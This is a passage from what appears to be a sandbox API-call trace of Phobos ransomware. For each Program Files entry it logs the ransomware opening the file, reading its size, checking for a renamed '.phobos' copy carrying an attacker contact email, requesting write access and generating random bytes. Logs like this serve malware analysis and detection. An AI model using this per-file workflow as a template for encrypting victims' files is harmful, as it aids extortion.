Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.024] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=14336) returned 1 [0150.024] CloseHandle (hObject=0x580) returned 1 [0150.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0150.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.025] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.025] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6144) returned 1 [0150.025] CloseHandle (hObject=0x580) returned 1 [0150.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0150.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.026] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.027] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=695296) returned 1 [0150.028] CloseHandle (hObject=0x580) returned 1 [0150.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0150.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.034] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.036] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=279552) returned 1 [0150.036] CloseHandle (hObject=0x580) returned 1 [0150.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0150.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.036] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.038] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2560) returned 1 [0150.038] CloseHandle (hObject=0x580) returned 1 [0150.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0150.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.042] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.046] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=31744) returned 1 [0150.047] CloseHandle (hObject=0x580) returned 1 [0150.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0150.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.049] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=44032) returned 1 [0150.049] CloseHandle (hObject=0x580) returned 1 [0150.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0150.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.049] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.164] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18432) returned 1 [0150.164] CloseHandle (hObject=0x564) returned 1 [0150.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0150.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.165] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.168] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=942080) returned 1 [0150.168] CloseHandle (hObject=0x564) returned 1 [0150.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0150.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.170] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.171] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=4608) returned 1 [0150.171] CloseHandle (hObject=0x564) returned 1 [0150.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0150.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.173] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.177] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2560) returned 1 [0150.177] CloseHandle (hObject=0x564) returned 1 [0150.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0150.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.185] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.191] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2560) returned 1 [0150.192] CloseHandle (hObject=0x564) returned 1 [0150.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0150.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.193] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.199] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2560) returned 1 [0150.200] CloseHandle (hObject=0x564) returned 1 [0150.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0150.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.203] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.207] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=54272) returned 1 [0150.207] CloseHandle (hObject=0x564) returned 1 [0150.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0150.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.208] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.212] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=512000) returned 1 [0150.212] CloseHandle (hObject=0x564) returned 1 [0150.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0150.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.213] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.216] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=224256) returned 1 [0150.216] CloseHandle (hObject=0x564) returned 1 [0150.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0150.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.219] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.278] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=452) returned 1 [0150.278] CloseHandle (hObject=0x580) returned 1 [0150.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0150.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.279] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.280] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1516608) returned 1 [0150.281] CloseHandle (hObject=0x580) returned 1 [0150.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0150.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.281] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program 